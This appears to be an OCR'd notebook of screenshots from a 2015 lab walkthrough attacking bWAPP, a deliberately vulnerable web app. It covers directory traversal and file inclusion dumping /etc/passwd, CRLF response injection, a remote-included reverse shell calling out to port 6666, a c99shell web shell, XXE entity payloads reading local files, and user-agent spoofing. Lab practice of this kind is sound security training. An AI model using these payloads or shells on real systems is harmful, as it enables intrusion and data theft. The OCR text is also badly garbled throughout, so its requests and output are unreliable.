File Edit View Histon Tools Help

(FOTTIPRE O PONEONE hictp:/ /v imdb.com/Aitie/t.. X+

an extremely buaﬂy web opp |

Bugs C’r-anﬂe Password Create User Set Sec.ur'rl-y Level Reset Cre

/ Dir"ec:+ory Traversal - Directories /

Terminator_Salvation.pdf
The_Cabin_in_the_Woods.pdf
bWAPP_intro.pdf
Iron_Man.pdf
The_Amazing_Spider-Man.pdf
The_Dark_Knight_Rises.pdf
The_Incredible_Hulk.pdf
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File Edit

Index of /bWAPP/documents

Name Last modified Size Description
& Parent Directory -
E] Iron Man pdf 31-Mar-2015 17:05 531K

[E) Terminator Salvationpdf ~ 31-Mar-2015 17:05 452K
@ The Amazing Spider-Man pdf 31-Mar-2015 17:05 532K
E] The Cabin in the Woods.pdf 31-Mar-2015 17:05 514K
[ The Dark Knight Risespdf 31-Mar-2015 17:05 739K
[£) The Incredible Hulkpdf ~ 31-Mar-2015 17:05 604K
bWAPP _intro.pdf 31-Mar-2015 17:05 4.8M

Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/S5.2.4-2ubuntu’ with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.254.131 Port 80

The Incredible Hulk (20(

Movies

e

sses 13, mo0B
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Directory Traversal (Files)

Wednesday, April 1, 2015 7:48 PM

File Edit View History Bookmarks Tools Help

aon ex+r‘eme|y buﬂ.ﬂy web app ‘

Bugs Change Password Create User Set Security Level

/ Dir“ec.+or"y Traversal - Files /

Try to climb higher Spidy

File Edit View History Bookmarks Tools Help

—[E BWAPP = Missi J‘éi' "'_j" »

192.168.0.81/bVWAPP

ah extremely louﬂﬂy web opp !

Eaugt; Change Password Create User Set Secur"ﬁy Level Ei

/ Dir"ec:+or'y Traversal - Files /

root:x:0-0-root-/root:-/bin/bash
daemon:x:1:1:daemon:/usr/shin:/bin/sh
bin:x:2-2-hin:/bin:/bin/sh
sysx3:3:sys:/dev:/bin/sh
syncx:4:65534:sync:/bin-/bin/sync
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sysx.3:.3:sys/dev/bin/sh

syncx4.65534 sync:/bin/binfsync
games:x:5.60.games:/usr/games:/bin/sh
man:c6:12:man:/var/cache/man:/bin/sh

lp: 7T Ip:ivarfspool/lpd:/bin/sh
mailx:8:8:mail-var/mail/bin/sh

news:x: 9.9 news:/var/spool/news:/bin/sh
uucp:x:10:10cuucp:ivar/spooliuucp:/bin/sh
proxy.x:13:13:proxy-/bin./bin/sh

www-data 3333 www-data: ivariwww /bin/sh
backup:x:34:34-backup:ivar/backups./bin/sh
list:x:38:38:Mailing List Manager:fvar/list:/bin/sh
ircx:38:3%red:var/runfircd:/bin/sh

gnatsx:41:41.Gnats Bug-Reporting System (admin)./var/lib/gnats:/bin/sh
nobody x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid=x:100:101var/lib/libuuid:fbin/sh
dhcp:x:101:102::/nonexistent./bin/false
syslogx:102:103/home/syslog:/bin/false

klogx:103:104: /home/klog:/bin/false

hplipx: 1047 HPLIP system user,,,./var/run/hplip/binffalse
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Host Header Attack (Cache Poisoning)

Wednesday, April 1, 2015 8:02 PM

File Edit View History Bookmarks Tools Help

an exh‘emely buﬂgy web opp |

Bugs Change Password Create User Set Security Level Eeset Credits

/ Host Header Attack (Cache Poi«;oninﬂ) /

Click here to go back to the portal.

E Burp Suite Free Edition v1.6
Burp Intruder Repeater Window Help

Target T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender T Opti

J I HTTP history IWebSDckets history T Options ]

Iﬁj Request to http://192.166.0.61:80

| Forward | l Drop | f Intercept is on : Action |

J Raw I Params T Headers I Hex ]

GET /bWAPP/portal.php HTTR/Ll.1

Host: 192.168.0.81

TUser—-Agent: Mozilla/5.0 (Windows INT €.3; WOWE4; rv:32.0) Gecko/IZ0Ll00Ll0Ll Firefox/32.0
Looept: text/html, application/xhtml+4xml, application/xml;q=0.9,*/*:q=0.8
Aocept-Language: en-US, en:q=0.5

Aocept—-Encoding: gzip, deflate

Beferer: http:fflgj.lEB.D.BlbeAPPHhDstheader_l.php

Cookie: PHPSESSTD=cIf5726659372526654=e8ce50d8E548al; security level=0

Connection: keep-aliwve
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E

Burp Intruder Repeater Window Help
[ Target I

Burp Suite Free Edition v1.6

I Spider I Scanner T Intruder I Repeater I Sequencer T Decoder I Comparer I Extender I Options IAIerts ]

i

T HTTP history IWEbSockets history I Options ]

Response from http://192.168.0.81:80/bWAPF/portal_php

| l | ( Intercept is on ! Action |

J Raw I Headers I Hex | HTML I Render ]

Drop

l Forward

HTTP/1.1 200 CK

Date: Thu, 02 Apr Z0OL5 0Z:07:38 GHT

Server: Apache/Z.2.8 (Ubuntu) DAV/Z mod fastcgi/Z.4.f6 PHF/5.Z.4-Zubuntu5 with Suhosin-Fatch mod ss1/2.2.8
CpensSsSL/0.9. 8g
¥-Powered-EBy:
Expires: Thu,
Cache-Control:
Pragma:

PHP/5.Z.4-Zubuntus
FIREE A e 1A EAE (R = I MR

MEESEREERTE S R R M SRR e i e R s s = el e T E = ]
no-cache

Feep-Alive:
Connection:

Content-Type:

timecout=15, max=100
Feep-Alive
text/html

Content-Length: 23369

History Bookmarks Tools Help

Chanae Password Create User Set Security Level

ch bug a 1ack toda )

---------------------- BWAPP V2.2 e A | )

/ A1 - Injection / ?N?N“{?}owm
HTML Injection - Reflected (GET) T
HTML Injection - Reflected (POST) ’r&%&gﬁ
HTML Injection - Reflected (Current URL) R

HTML Injection - Stored (Blog)
iFrame Injection

LDAP Injection (Search)

Mail Header Injection (SMTP)

Hack

Burp Intruder Repeater Window Help

Target
i

lﬁ] Request to http://192.168.0.81:80
J |

J Raw T Params T Headers T Hex ]
GET /bWAPPF/credits.php HTTP/1.1

Burp Suite Free Edition v1.6

T Spider I Scanner Y Intruder Y Repeater I Sequencer I Decoder I Comparer Y Extender I Opti

I HTTP history TWebSDckets history I Options ]

Forward Drop |
L J

Intercept is on | | Action |

Host: 192.1e8.0.81
User—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:3Z.0) Gecko/Z0100101 Firefox/3Z.0
Aocept: text/html, application/xhtml4xml, application/xml;q=0.9,*/*;q=0.8
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E Burp Suite Free Edition v1.6
Burp Intruder Repeater Window Help

Target T Spider I Scanner Y Intruder Y Repeater I Sequencer I Decoder I Comparer Y Extender I Opti
J I HTTP history TWebSDckets history I Options ]

lﬁ] Request to http://192.168.0.81:80

| Forward | l Drop | | Intercept is on | Action |

J Raw T Params T Headers T Hex ]

GET /bWAPPF/credits.php HTTP/1.1

Host: 192.1e8.0.81

User—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:3Z.0) Gecko/IZ0100101 Firefox/32.0
Aocept: text/html, application/xhtml4xml, application/xml;q=0.9,*/*;q=0.8
Aocept-Languages: en-US,en;q=0.5

docept-Encoding: gzip, deflate

Eeferer: http:fflgi.168.D.BLHDUAPPHhDstheader_l.php

Cookie: PHPSESSID=E6Zf5726693725266594=8ce50dB8E548al; security lewvel=0

Connection: keep-aliwve

E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target I I Spider I Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer I Extender I Options IAIertS ]
J I HTTP histary TWebSockets history I Options ]

Response from http://192.168.0.81:80/bVWWAPP/portal php

| Foward | l Drop | | Intercept is an | | Action

J Raw I Headers | Hex | HTML I Render ]

HTTF/1l.1 200 CE

Date: Thu, 0Z Apr Z0L1S5 0Z:10:55 GHT

Server: Apachs/2.2.8 (Ubuntu) DAV/Z mod_fastcgif:.ﬂ.s FHF/5.2.4-Zubuntu5 with Suhosin-FPatch mod_ssljZ.Z.S
OpensSsL/0.9.8g

¥-FPowered-By: PHP/S5.2.4-Zubuntus

Expires: Thu, 19 MNow Z0L1lE 0OB:5Z:00 GMT

Feep-4live: timeout=15, max=100

Connection: Keep-Alive

Content-Type:520text/ htmls0ds0a%0ds50a<html>deface!</html> HTTF/1l.1

Content-Length: 14057

E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target I I Spider I Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer I Extender I Options IAIerts ]
J I HTTP history IWebSockets history I Options ]

Response from hitp://192.168.0.81:80/bWAPP/portal php

L Forward | l Drop | ( Intercept is on | Action |

J Raw I Headers I Hex | HTML T Render ]

HTTF/1.1 200 OK

Date: Thu, 0IZ Apr 2015 02:15:01 GHT

Server: Apache/Z.2.8 (Ubuntu) DAV/Z mod fastcgi/Z.4.6 PHP/5.Z.4-Zubuntu5 with Suhosin-Fatch mod ss1/2.2.8
CpensSsL/0.9.8g

¥-Powered-By: PHP/5.Z.4-Zubuntus

Expires: Thu, L9 Now Z0LlE 0O2:5Z:00 GHT

Feep-L4live: timsout=15, max=100

Connection: Keep-Aliwve

Content-Type: text/html

Content-Length: 14057
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File Edit View History Bookmarks Tools Help

192.168.0.81/bWAPP/portal.php

C’nanﬂe Password Create User Set Secur'rl-y Level Reset

/ Credits /

O yeah... who am ? Well my name is Malik. I'm a security consultant working for my own company, MME
We are specialized in Penetration Testing, Ethical Hacking, InfoSec Training, and Evil Bee Hunting
Download our What is bBWAPP? introduction tutorial, including free materials and exercises
I'm also happy to give bVWAPP talks and workshops at your security convention or seminar!
Need a training? We offer the following exclusive courses and workshops (on demand, at your location)

« Attacking & Defending Web Apps with bWAPP : 2-day Web Application Security course (pdf)

+ Plant the Flags with bWAPP : 4-hour offensive Web Application Hacking workshop (pdf)

» Ethical Hacking Basics : 1-day Ethical Hacking course (pdf)

« Ethical Hacking Advanced : 1-day comprehensive Ethical Hacking course (pdf)

¢ Windows Server 2012 Security : 2-day Windows Security course (pdf)

Special thanks to the Netsparker team!

File Edit View History Bookmarks

192.168.0.81/bWAPP/hosthead

an eerr‘emely buﬂﬂy web opp |

Bugs Change Password Create User Set Security Level Reset Credits

/ Host Header Attack (Cache Poisoninﬂ) /

Click here to go back to the portal
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File Edit View History Bookmarks Tools Help

192.168.0.81/bWAPP/portal.php

Frige

an extremely lougﬂy web opp !

Change Password Create User Set Security Level Reset Credits

/ Credits /

O yeah... who am ? Well my name is Malik. I'm a security consultant working for my own company, MME
We are specialized in Penetration Testing, Ethical Hacking, InfoSec Training, and Evil Bee Hunting.

Download our What is BWAPP? introduction tutorial, including free materials and exercises. .
I'm also happy to give bWAPP talks and workshops at your security convention or seminar!

Need a training? We offer the following exclusive courses and workshops (on demand, at your location):

¢ Attacking & Defending Web Apps with bWAPP - 2-day Web Application Security course (pdf)
Plant the Flags with bWAPP : 4-hour offensive Web Application Hacking workshop (pdf)

¢ Ethical Hacking Basics : 1-day Ethical Hacking course (pdf)

« Ethical Hacking Advanced : 1-day comprehensive Ethical Hacking course (pdf)

¢ Windows Server 2012 Security : 2-day Windows Security course (pdf)

Special thanks to the Netsparker team!
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Remote and Local File Inclusion

Wednesday, April 1, 2015 8:27 PM

File Edit View History Bookmarks Tools Help

on e><+r‘emely buﬂﬂy web opp |

Buﬁs Cl'nahﬂe Password Create User Set Sea.ar"rl-\/ Level Reset Credits (=]

/ Remote & Locad Fie inclusion (RFI/LF /

Select a language: | English v|| Go

Thanks for your interest in bWAPP!
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Change Password

Create User

Set Securrl'\/ Level

Reset Credits Blog

/ Remote & Local Fie Inclusion (RFEI/LF) /

English Go

v

r root/root/bin/bash daemon:x:1:1:da 1/bin/sh  bin:x:2:2:bin:/bin:/bin/sh s
sh 4 4:sync:/bin:/bin/s C ames:/usrigames:/bin/sh man:x
x.7:7:Ip:/var/spool/lpd:/bin/sh ar/mail:/bin/sh news:x:9:9:news:/var/sy in/sh
p:/var/spool/uucp:/bin/sh [ y./bin:/bin/sh www-data:/var
backup:x:34:34:backup:/var/back list:x:38:38:Mailing List Manage bin/sh
I i var/run/ircd:/bin/sh  gnats:x:41:41 Bug-Reporting System (admin nats:/bin/sh
34-nobody:/nonexistent /bir libuuid:x:100:1
2 xistent:/bin/false e og:/bin/false klog:x:103:104
4 7HPLIP system user, avahi-autoipd:x:105:113:Avahi

I/binffalse gdm:x:106:114(

5

pulse:/bin/false

rivar/lib/gdm:/

®

haldaemon:x:111:123:Hardware abstraction layer ar ald:/bin/false bee:x:1
n 1 x112:124:MySQ Server.  /var/lib/mysqg e sshd:x:113:¢
126:Dovecot mail server n/false smmta:x
imail./binffalse smmsp:x:116:128:Ma ubmission
001::/home/neo:/bin/sh alice:x:1002:1002::/home. lice:/bin/sh
4:1004../home/wolverine:/bin/sh ot 10( home/johnr

fix:x:117:129

po

home/ftp:/binffalse snmp:x:12

proftpd:x

bin/false p

var/run/dbus:/binffalse  avahix:109:12
r:x:110:122:PolicyKit

000:1000:bee,,,-/home/bee:/bin/bash
35534 varirur n/nologin
115:127:Mail je var
Program 3 il /bin/false
thor:x:1003:1003::/home/thor:/bin/sh
wv./bin/sh selene x: 1 i home

118:¢

n/false

arflib/snmp:/bin/false ntp:x:121:131 e
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File Edit View History Bookmarks Tools Help

0 & 1521680214209 rtnoge=i 192 RO B MEacionzg ]

an ex+remely bugﬂy web app |

Change Password Create User Set Secur"rh/ Level Reset Credits Bl

/ Remote & Loca Fie Inclusion (RFI/LFI) /

Select a language: | English v|| Go

WARNING: Failed to daemonise. This is quite common and not fatal

Warning: fsockopen() [function.fsockopen]. unable to connect to 192.168.10.77:6666 (Connection timed out) in
http://192.168.0.86/rev.txt on line 57

Connection timed out (110)
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File Edit View History Bookmarks Tools Help

.168.0.86/c09.b¢ 008 action=go

Credits Blog Logout

/ Remote & Local Fie inclusion (RFI/LF) /

- .

Software: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgif2.4.6 with Suhosin-Patch mod_sslf2.2.8
OpenSSL/0.9.8g

uname -a: Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Safe-mode:

Free 14.87 GB of 18.97 GB (78.38%)

Owned by hacker

Listing directory (191 files and 11 directories):
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hpilanguag

Confirm

fvar foowow foWAPP fvar foww [OWAPP ]

v oW APP

--[ c99shell v. 1.0 beta (21.05.2005) Captain Crunch Security Team | | Generation time: 0.0231
]__
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Restrict Device Access

Wednesday, April 1, 2015 8:38 PM

File Edit View History Bo

192.163.0.81/6WAPP frestrict_device_access.php

aon eerr‘emely buﬂﬂy web app !

Bugs Change Password Create User Set Security Level

/ Restrict Device Access /

Cnly some authorized devices have access to the content of this page.

This is not a smartphone or a tablet computer (Apple/Android)!

E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target I I Spider I Scanner T Intruder TRepeater T Sequencer I Decoder TCDmparer I Extender T Options I!—\Iens ]
J I HTTP history TWebSnckets history T Options ]

| #| Request to hitp://192.168.0.81:80

| Forward [ l Drop [ [ Intercept is on E Action |

J Raw T Params I Headers T Hex ]

GET /bWAPP/restrict_device access.php HTTP/1.1

Host: 192.1&8.0.81

User-Lgent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:3Z2.0) Gecko/Z0100l0L1 Firefox/3Z.0
Aocept: text/html, application/xhtml+xml, application/®ml; q=0.9,%/*;q=0.8
Loecept-Language: en-US, en;gq=0.5

Lecept-Encoding: gzip, deflate

Cockie: PHPSESSID=EZL£57266593725166594=8ce50d3L548al; securicty_level=0

Connection: keep-alive

Mozilla/5.0(iPhone;U;CPUiPhone0S4_OlikeMacOSX;en-us)AppleWebKit/532.9(KHTML,likeGecko)
Version/4.0.5Mobile/8A293Safari/6531.22.7
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E Burp Suite Free Edition v1.6 - O i
Burp Intruder Repeater Window Help

|' Target I ] Spider I Scanner 1 Intruder 1 Repeater 1 Sequencer IDecnder ] Comparer [ Extender I Options IAIerts |

J 1 HTTP history ] WebSockets history ] Options l

4| Request to http://192.168.0.81:80

Foward | Drop | Iﬁ.térc.e.;.l. is on | Action -

Jm Params ] Headers l Hex |

GET /bWAPP/restrict_device access.php HTTP/L.1

Host: 192.1€8.0.81

User-Agent:

Mozilla/5.0(iPhone;U; CPUiPhone0S4 OlikeMacOSX;en-us) AppleWebKit/532.9 (KHTHL, likeGecko) Version/4.0.5Mobile/8AZ935at
ari/€531.22.7

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=EIZfS5726E9372526£94eB8ce50d8E548a2; security level=0

Connection: Keep-alive

an extremely k’uﬁﬂ)’ web app f

Bu‘ﬂt; C,hahﬂe Password Create User Set Semr"rly Lev

/ Restrict Device Access /

Only some authorized devices have access to the content of this page.

This is a Epeepeaedor a tablet computer!
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XML External Entity Attacks (XXE)

April 2, 2015 8:24 AM

File Edit View

an e><+r‘emely buggy web app |

Bugs Change Password Create User Set Security Level Reset Credits

/ XML External Entity Attacks (XXE) /
Reset your secret to W

[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

J T HTTP history I WebSockets history T Options ]

Lﬁj Request to hitp:/192.168.254.131.80

| Forward | |_ Drop | | Intercept iz on | Action |

J Raw T Params T Headers T Hex TXP.'IL ]

POST /BWAPP/xxe-Z.php HTTR/L.1

Host: 192.1eB.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:36.0) Gecko/Z0Ll00Ll0Ll Firefox/3€.0
Aocept: text/html, application/xhtml+xml, application/xml;q=0.8,*/*:¢q=0.8
Aoecept-Language: en-US,en;qgq=0.5

Aocepb-Encoding: gzip, deflate

Content-Type: text/xml; charsset=UTF-8

Beferer: http://192.168.254.13L/bWAPF/xxe-1.php

Content-Length: 59

Cookie: security lewvel=0; PHPSESSID=53306ecZlf0E044690bac590Zc202LE0
Connection: keesp-alive

Pragma: no-cache

Cache-Control: no-cache

<reset><loginrhes</ loginr<secretr=Any bugs?</sescretr</reset>
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[E Burp Suite Free Edition v1.6 e 2 e e——

Burp Intruder Repeater Window Help

l Target I ] Spider I Scanner I Intruder T Repeater T Sequencer ‘l Decoder I Comparer ] Extender I Options ] Alerts ]

HTTP history | WebSockets history | Options |

Response from hitp://192.168 254.131:80/bWAPP/xxe-2.php

| Forward || Drop | | Interceptison | | Action |

Raw | Headers Hexi

HTTP/1.1 200 OK

Date: Thu, 02 Apr 2015 14:44:24 GHMT

Server: Apache/2.2.8 (Ubuntu) DAV/Z mod fastcgi/Z.4.€ PHP/S.2.4-ZubuntuS with Suhosin-Patch m:-cl_ssls‘:.‘l.s OpensSSL/0.9.8qg
X~Povered-By: PHP/5.Z.4-Zubuntus

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-caches, must-revalidate, post-check=0, pre-check=0

Pragma: no-cact
Content-Length:
Keep~-Alive: timeout=15, max=100
Connectio &
Content-T : text/html

~n
28

bee's secret has been reset

' Burp Suite Free Edition v1.6
Burp Intruder Repeater Window Help

[Tﬂrget T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIE:rts ]

_[ ntercept T HTTP history TWebSuckets history T Options ]

@ Request to http://192.168.254.131:80

[ Forward J [ Drop J[ hEMEMBun] Action

_[ Raw T Params T Headers T Hex TXHL ]

POST /BWAPP/xxe-2.php HTTPR/L.1

Host: 192.168.254.131

Uzer-Agent: Mozilla/5.0 (Windows NT E.1; WOWE4; pv:36.0) Gecko/Z0L00Ll0L1l Firefox/3€.0
Aocept: text/html, application/xhtml4xml, application/=xml;gq=0.9,*%/ *;q=0.8
Locept-Language: en-U3,en:g=0.5

Aocept-Encoding: gzip, deflate

Content-Type: text/xml; charset=UTF-2

Beferer: http://182.168.254. 13 1/bWAPP/ xxe—1.php

Content-Length: 59

Cookie: security lewvel=0; PHPSESS5ID=53306=cilf0e044650bac5502cB0ZL1E0D
Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

s T SR R e it

<!ENTITY popped SYSTEM "http://192.168.254.131/bWAPP/rohots.txt">
1=

<reset><login>&popped; </ login><secret>Any bugs?</secret></reset>

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE root [

<IENTITY popped SYSTEM "http://192.168.254.131/bWAPP/robots.txt">
1>

<reset><login>&popped;</login><secret>Any bugs?</secret></reset>
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http://192.168.254.131/bWAPP/robots.txt

Burp intruder Repeater Wndow Help

[ Target I Prox Spider ] Scanner T Intruder T Repeater ] Sequencer T Decoder T Comparer T Extender I Options ] Aleris

_[ liercepi ] HTTP higtory I WebSockets history IOpﬁons l

Response from hitp.if192.168.254.131:B0/bWAPPHoce-2.php

Forward J | Drop J ] Intercept is on ) | Action |

Raw | Headers ] Hex l
HTTPF/L1.1 200 OK
Date: Thu, 02 Apr Z015 14:45:19 GHT
Server: Apache/2.2.8 (Ubuntu) DAV/Z mod_fastcgi/2.4.6 PHP/S5.2.4-IZubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
¥X-Powered-By: PHP/5.2.4-Zubuntus
Expires: Thu, 19 Nov 1981 DB8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 182
Fesp-Alive: timeout=15, max=100
Connection: Keep-Alive
Content=Type: text/html

User-agent: GoodBot
Disallow:

User—-agent: BadBot
Disallow: /

User-agent: &

Disallow: [fadmin/

Disallow: [documents/

Disallow: [images/

Disallow: /passwords/'s secret has been reset!

[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Targe’[ I Proxy. I Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer T Extender T Options IAIerts ]

|

#| Request to hitp:f192.168.254.131:80

l Forward J [ Drop J [ Intercept i= on ] Action

J Raw T Params T Headers T Hex TXHL 1

POST /BWAPP/xxe-Z.php HTTR/Ll.1

Host: 182.188.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1l; WOWE4; rv:36.0) Geckeo/20l00L0L Firefox/3€.0
Locept: text/html,application/xhtml4xml, application/xml;q=0.9,*/*:q=0.8
Aocept-Language: en-U3,en;qg=0.5

Aocept-Encoding: gzip, deflate

Content-Type: text/xml; charsec=UTF-8

Referer: http://192.168.254. 131/ bWAPF/ xxe-1.php

Content-Length: 59

Cookie: security level=0; PHPSESSID=5330£eclIf0e044650kac5502c302 160
Connection: keep-alive

Pragma: no-—caches

Cache-Control: no-cache

H T HTTP history T WebSockets history T Options 1

<!DOCTYPE root [
<VENTITY popped STSTEM "file:///etc/passwd'>
1=

<ressetr<login»&popped; </ login><secret»Any bugs?</secretr</resset>

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE root [

<IENTITY popped SYSTEM "file:///etc/passwd">

1>

<reset><login>&popped;</login><secret>Any bugs?</secret></reset>
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file:///etc/passwd

AT e

Burp Intruder Repeater Window Help
Target | Proxy. | Spider | Scanner I Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options | Alerts i
nlercept I HTTP history | WebSockeis history | Options

Response from http:/F182.168.254.131:80/bWAPPHoce-2.php
| Forward J[ Drop | | Wterceptison | | Acton |

Raw | Headers | Hex

HTTP/1.l 200 OK

Date: Thu, 0OI Apr 2015 14:47:40 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/Z mocd fastcgi/2.4.€ PHP/S5.2.4-ZubuntuS with Suhosin-Patch mod =s1/2.2.8 OpensSsSL/0.9.8g
¥X-Powered-By: PHP/5.2.4-Zubuntus

Expires: Thu, 15 Nov LS81 0B8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 2242

Fesp-Alive: timeout=15, max=100

Connection: Eeep-Alive

Content-Type: text/html

root:x:0:0:root:froot:/bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
:hin: fbin: fbin/sh

:man: fvar fcache /man: fbin/sh

1p:x:7:7:1p: fvar/spool/lpd: fbin/sh

mail:x:8:8:mail: fvar/mail: fbin/sh

news:x:9:9:news: /var/spool/news: fbin/sh

uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy: fbin: /bin/sh

www-data:x:33:33 :www-data: /var /www: fbin/sh
(backup:x:34:34:backup: /var /backups: fbin/sh

list:x:38:38:Mailing List Manager: /var/list: /bin/sh

ire:x:39:39:irecd: fvar/runfircd: fbin/sh

gnats:x:41:41:6nats Bug-Reporting System (admin):/var/lib/gnats: /bin/sh
nobody 65534:65534 :nobody: fmonexistent : fbin/sh

Llibunid:x:100:101: : fvarfLlib/Llibuuid: fbin/sh

dhop:x:101:102: : /nonexistent: /bin/false

syslog:x:102:103: : /home fsyslog: /bin/false

klog:x:103:104: : /home fklog: /bin/false

hplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/ffalse
avahi-auntoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd: /bin/false
gdm:x:106:114:Gnome Display Manager: /var/lib/gdm: /bin/false
(pulse:x:107:116 :PulseAudio daemon,,,:/var/run/pulse: /bin/false
messagebus:x:108:119: : /var/run/dbus: /bin/false

avahi:x:109:120:Avahi mDNS v oot fvar/runfavahi-d :fbin/false
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Extras: PHP Eval()

April 2, 2015 1:38 PM
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@ bWAPP - PHP Eval Function - Mozilla Firefox
File Edit Vi istory ks Tools Help

192.168.254.131/bBWAPP/php_eval.ph e S R R o s 1

on ex+r“emely buaﬂy web opp |

C-hahﬁe Password Create User Set Secur"ﬂ'y Level Reset

/ PHP Eval Function /

Check the source code to exploit this dangerous PHP function

root:3-0:0:root:/root:/binfbash  daemon:x:1:1:daemon:/usi/sbin:/bin/sh  bin:x:2:2:bin:/bin:/bin/sh  sys:x:3:3:5ys:/dev
fbinfsh  syncc4:65534:sync:/bin/binfsync  games:5:60:games:/usr/games:/bin/sh  man¢6:12:man:fvar/cache
/man:/binfsh 1p:7:T:Ip:zivarfspool/lpd:/bin/sh mail:x:8:8:mail:var/mail:/bin/sh news:x:9:9:news:fvar/spool/news:/bin/sh
uucp:x:10:10:uucp:var/spoolfuucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:33:33:www-datazivar
forw:/binfsh  backupix:34:34:backup:/var/backups:/bin/sh  listc38:38:Mailing  List  Manager:var/list:/bin/sh
irc:x:39:3%ircd:fvar/runfircd:fbin/sh - gnats:x:41:41:Gnats  Bug-Reporting  System  {admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::var/libdlibuuid:/bin/sh
dhep:x:101:102::/nonexistent:/bin/false syslogx:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog
fbinffalse  hplip>:104:7:HPLIP  system  user,,,:~varrun/hplip:/binfalse  avahi-autoipd:x:105:113:Avahi  autoip
daemaon,,,:var/lib/avahi-autoipd:/bin/false gdm:¢:106:114:Gnome Display Manager:/var/lib/gdm:/binffalse
pulse:x:107:116:PulseAudio daemon,,,varfrun/pulse:/binffalse messagebus:x:108:119::varfrun/dbus:/bin/false
avahi:x:109:120:Avahi mDNS  daemon,,,/varrun/avahi-daemon:/binffalse  polkituser::110:122:PolicyKit,,, 2var
frun/PolicyKit:/bin/false haldaemon:x:111:123:Hardware abstraction layer,,,fvar/run/hald:/bin/false
bee:x:1000:1000:bee,,,-/home/bee:/bin/bash mysql:x:112:124:MySQL Server,,,:fvar/lib/mysgl:/binffalse
sshd:x:113:65534::Avar/run/sshd:/usr/sbin/nologin  dovecot:x:114:126:Dovecot mail server,,,fusr/lib/dovecot-/bin/false
smmtazx:115:127:Mail Transfer Agent,,,-/var/lib/sendmail:/binffalse smmsp::116:128:Mail Submission Program,,,-/var

flib/sendmail-/binffalse neo:x:1001:1001: shomefneo:/bin/sh alice:x:1002:1002:-/home/alice:/bin/sh
thor2¢1003:1003:/home/thor:/bin/sh  wolverine:x:1004:1004:-/home/walverine:/binfsh  johnny:x:1005:1005::/home
fjohnny:/bin/sh selene:x:1006:1006::/home/selene:/bin/sh postfix:x:117:129::var/spool/postfix:/binffalse

proftpd:x:118:65534::var/run/proftpd:/binffalse  fip:x:119:65534:/home/ftp:/binffalse  snmpoc120:65534var/lib/snmp

fbinffalse ntp:x:121:131::/home/ntp:/binffalse
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